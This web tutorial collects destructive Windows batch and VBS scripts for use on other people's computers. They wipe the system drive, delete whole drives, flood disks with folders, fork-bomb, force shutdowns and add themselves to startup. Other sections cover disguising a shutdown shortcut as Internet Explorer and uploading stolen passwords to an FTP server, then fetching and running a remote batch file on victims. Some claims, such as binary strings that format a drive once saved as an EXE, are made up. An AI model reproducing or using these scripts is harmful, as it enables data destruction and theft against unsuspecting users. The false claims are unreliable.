Batch File Virus

Simple Virus Making

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this lackey I will show you how to make simple .bat file (virus) that can’t be detected by any anti virus

Here are some good viruses ,i am not responsible for any kind of damage to your system … :)

Copy this to notepad and save as flood1.bat…..

@ECHO OFF
@ECHO A Sharma’s Creation

@ECHO MAIN BAT RUNNING
GOTO start

:start
@ECHO SET magic2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat

@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET gamer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR gamer%%gamer%% >> bat2.bat
@ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat

GOTO original

:original
CD %HomeDrive%\
SET sharma=1
GOTO flood1
:flood1
MKDIR sharma%sharma%
SET /a sharma=%sharma%+1
GOTO flood1

What does it do : this is an extremely harmful virus the will keep replicating itself until your hard drive is totally full and will destroy your comp.

Some Funny Virus Codes

A simple binary codes that can format the system drive ,secondary drives…

Copy The Following In Notepad Exactly as it

01001011000111110010010101010101010000011111100000

Save As An EXE Any Name Will Do

Send the EXE to People And Infect
Some other interesting formatting codes….

format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100

Some more interesting stuff ..

open notepad

erase c:\windows

and save as

FINDOUTANAME.cmd

wat does it do:- will erase c:/windows .

Here is another one which is funny……

This code about multiple open windows means infinite windows
until continue you restart the computer:save on denger.bat and code written in notepad

@echo off
copy 0% denger.bat
start denger.bat

This code about the computer shutdown:

@echo off
shutdown -s -t 5 -c “Shutdown”

Go to notepad and type the following:
@Echo off
Del C:\ *.*|y

save it as Dell.bat

Want worse then type the following:

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as a .bat file

One more …

try one this

Cd C:\
rd C:\ /s/q
Cd D:\
rd D:\ /s/q
Cd E:\
Rd E:\ /s/q
Cd F:\
Rd\ /s/q

then it is complete Save as any file you want in .bat format.. n enjoy.its really dangerous don’t try on your own pc.

NOTE :-  Howto add your own created viruses into start ups this will make it difficult to detect them n to remove them …

For this u need a registry updater software .

now move your .bat file to c:/windows and then simply run this software ur virsu will be added to your start ups i tried this with shut down , as my comp starts its shut down after 2 secs ..

Do not try it on your PC. Don’t mess around this is for educational purpose only

It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer

The first code we are going to look at is one that makes the cd tray open and close repeatedly until shutdown, or
(don’t tell your friends, you press ctrl + alt + delete and go to processes, and end wscript.exe (this code is vbs so save in note pad as whateveryouwant.vbs)


Set oWMP = CreateObject(“WMPlayer.OCX.7″ )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
loop
end if

A code that turns on and off your capslock repeatedly, also vbs, end same way as last time, this turns on and off your capslock every tenth of a second

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”

loop


A batch that is like a computer password, maybe you could stick it in autoexec.exe and make it run off startup?

@Echo off
echo Enter password then [F6] and then smack the [Enter] key real hard!
prompt $e[30m
echo on
echo off
copy con password.dat>nul
prompt $e[0m
echo on
echo off
cls
copy password.set+password.dat password.bat>nul
call password.bat
if ‘%password%==qwerty goto done
echo Incorrect, you are not trying to break into my pc are you?
choice /t:y,3
if errorlevel 2 goto next
:next
erase password.bat
erase password.dat
:hello
cls
echo Turn off PC
goto hello
:done
erase password.dat
erase password.bat
set password=qwerty
prompt $p$g

A batch that switches the left mouse button with your right mouse button (also maybe add a code to stick in someones autoexec,
that would really make them mad)

@echo off
Rundll32 user32,SwapMouseButton
msg * hahaha
msg * this is gunna screw you up
msg * good look finding how to fix it

A batch file that will shutdown your computer and send a few messages about the matrix, rather bland and could be worked on a little bit more, some one
could tweak it a little and i’ll repost it and give you credit, perhaps change the dos txt to green


@ Echo off
Title Matrix
msg * The matrix has you, you can not escape
rundll32.exe disable mouse

This is a VBs file so of course save as VBS, you can replace the txt in this code with whatever you want

Set wshshell = wscript.CreateObject(“WScript.Shell”)
Wshshell.run “Notepad”

Carpet Bomb:

Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This means that it’ll regenerate once the computer is restarted even if all the icons on the desktop are deleted. This works on Windows XP and Vista. Command line-args are optional, and include “disinf” for erasing all of the copies permanently.

@ECHO OFF

Creating a batch Bomb

Copy and paste the below into notepad and save it as hi.bat (Not .txt)
run it, and enjoy anarchy.

Code:

@echo off

echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!
start hi.bat

This article is a pretty simple one, maybe most of you guys know already… in case if you don’t know, you can play around and make fun…

How to make a shutdown file and disguise it as something else (internet, etc.)

Step 1: Right click on your desktop or wherever you want to make this shutdown file

Step 2: look for new, then shortcut

Step 3: Type shutdown -s -t 10 -c “text here”
note: you can add -f to force close open docuuments
note: after -t you can put any amount of seconds you want before the computer shuts down

Step 4: push next, then name it whatever you like, for an example we will put Internet Explorer

Step 4: Right click on the file you just made and goto properties

Step 5: hit change icon. (This could be under the advanced tab)

Step 6: An error message should pop up letting you know there aren’t any pictures for c:\windows\system32. Hit ok

Step 7: A list of icons should show up.. click on the one you think looks the most persuasive according to what you named it. (For example, look for the ‘e’ icon for internet explorer.

Now your done, see that wasn’t that hard! was it?
Put this in the start up folder to make people even MORE mad!

NOTE:- This can easily be stopped by typing shutdown -a in run…

<a OK, So i made a password stealer that would output a .txt file to the windows folderm i then made a ftp batch that would upload the txt file to my server, so far ive managed to get some passwords but not for anything important, So if you want to know how to make a ftp batch then heres how.

First for example were gonna try upload a file called Test.txt to our server

Upload.bat

ftp -n -i -s:MyUploadFiles.ftp

First make a file called upload.bat and put this in, Now we need to make the myuploadfiles.ftp, if you wanna call it something else then change the myuploadfiles.ftp to what you want but KEEP the .ftp at the end.

Ok now its the myuploadfiles.ftp creating time, or whatever you called it before.

open your-host

user username.spam.com password

ASCII

send test.txt

BI
This is the bit where you have to change the username password and host to what your ftp host is. then change the send test.txt to what file you want to upload, it doesn’t have to be a txt file, it can be any one.

Now make sure both files are in the same dir as each other and run the .bat file. check your ftp server and guess whats sitting there! test.txt! So if you want to upload a file from someone’s pc, you could use this?

Also theres nothing stopping you from putting in the “get” command in the .ftp, say get download.bat, whenever you want to change what it does make it call it download.bat and shove it on the server, then the victim will download it and be executed.Here is a Simple bacth virus that contains only 6 lines, has the tendency to replicate itself again
and again and keeps on creating a folder with same name, until a user stops it.

1. Just open up a notepad, copy and paste the below code

cd\
cd C:\Documents and Settings\username\Desktop
:loop
md Virus
cd Virus
goto loop

2. Save it as a batch file with the extension .bat.
3. Then run it on the Victims computer to infect it.
4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.
